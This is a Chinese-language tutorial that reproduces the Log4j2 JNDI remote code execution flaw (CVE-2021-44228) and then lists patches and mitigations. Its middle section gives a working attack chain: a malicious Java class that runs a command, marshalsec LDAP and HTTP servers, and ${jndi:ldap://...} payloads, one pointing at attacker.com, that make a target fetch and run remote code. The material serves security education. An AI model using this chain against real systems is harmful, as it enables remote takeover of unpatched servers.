Apache Log4j2远程代码执行漏洞复现
字数 969
更新时间 2025-08-13 05:49:03

Log4j2远程代码执行漏洞复现与分析

漏洞概述

Log4j2远程代码执行漏洞(CVE-2021-44228)是2021年12月披露的一个严重安全漏洞,影响Apache Log4j2日志框架。该漏洞允许攻击者通过JNDI注入实现远程代码执行。

漏洞原理

漏洞存在于Log4j2的JNDI查找功能中,当应用程序记录包含恶意构造的字符串(如${jndi:ldap://attacker.com/Exploit})时,Log4j2会解析并执行该字符串,导致远程代码执行。

影响版本

  • Log4j2.x <= 2.14.1

环境准备

受影响的Java环境

  • JDK版本要求:JDK 11.0.1、8u191、7u201、6u211之前版本
  • 推荐复现环境:JDK 8u191或更早版本

攻击机环境搭建

  1. 准备一台VPS(Linux系统)
  2. 安装必要工具:
    apt-get install maven
    git clone https://github.com/mbechler/marshalsec.git
    

漏洞复现步骤

1. 编译marshalsec工具

cd marshalsec
mvn clean package -DskipTests

2. 准备恶意类文件

创建robots.java文件:

import java.lang.Runtime;
import java.lang.Process;

public class robots {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"calc.exe"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

编译为class文件:

javac robots.java

3. 启动HTTP服务

python -m SimpleHTTPServer 80

4. 启动LDAP服务器

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://x.x.x.x/#robots" 9999

(将x.x.x.x替换为你的VPS IP地址)

5. 触发漏洞

在受影响的应用中记录如下日志:

logger.error("${jndi:ldap://your-vps-ip:9999/robots}");

修复方案

  1. 升级Log4j2版本

    • 升级到2.15.0-rc2或更高版本
    • 补丁链接:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
  2. 临时缓解措施

    • 添加JVM启动参数:-Dlog4j2.formatMsgNoLookups=true
    • 在classpath下添加log4j2.component.properties文件,内容为:
      log4j2.formatMsgNoLookups=true
      
  3. 升级JDK版本

    • 使用JDK 11.0.1、8u191、7u201、6u211或更高版本

技术分析参考

  • 逐日实验室分析文章:https://mp.weixin.qq.com/s/1oesQz-UkpqKN3BQH9BKtw
  • Fastjson漏洞复现参考:https://www.freebuf.com/articles/web/283585.html

注意事项

  1. 该漏洞复现仅用于安全研究和教育目的
  2. 在实际环境中测试前应获得明确授权
  3. 生产环境发现漏洞应立即修复,不要仅依赖缓解措施
相似文章
相似文章
 全屏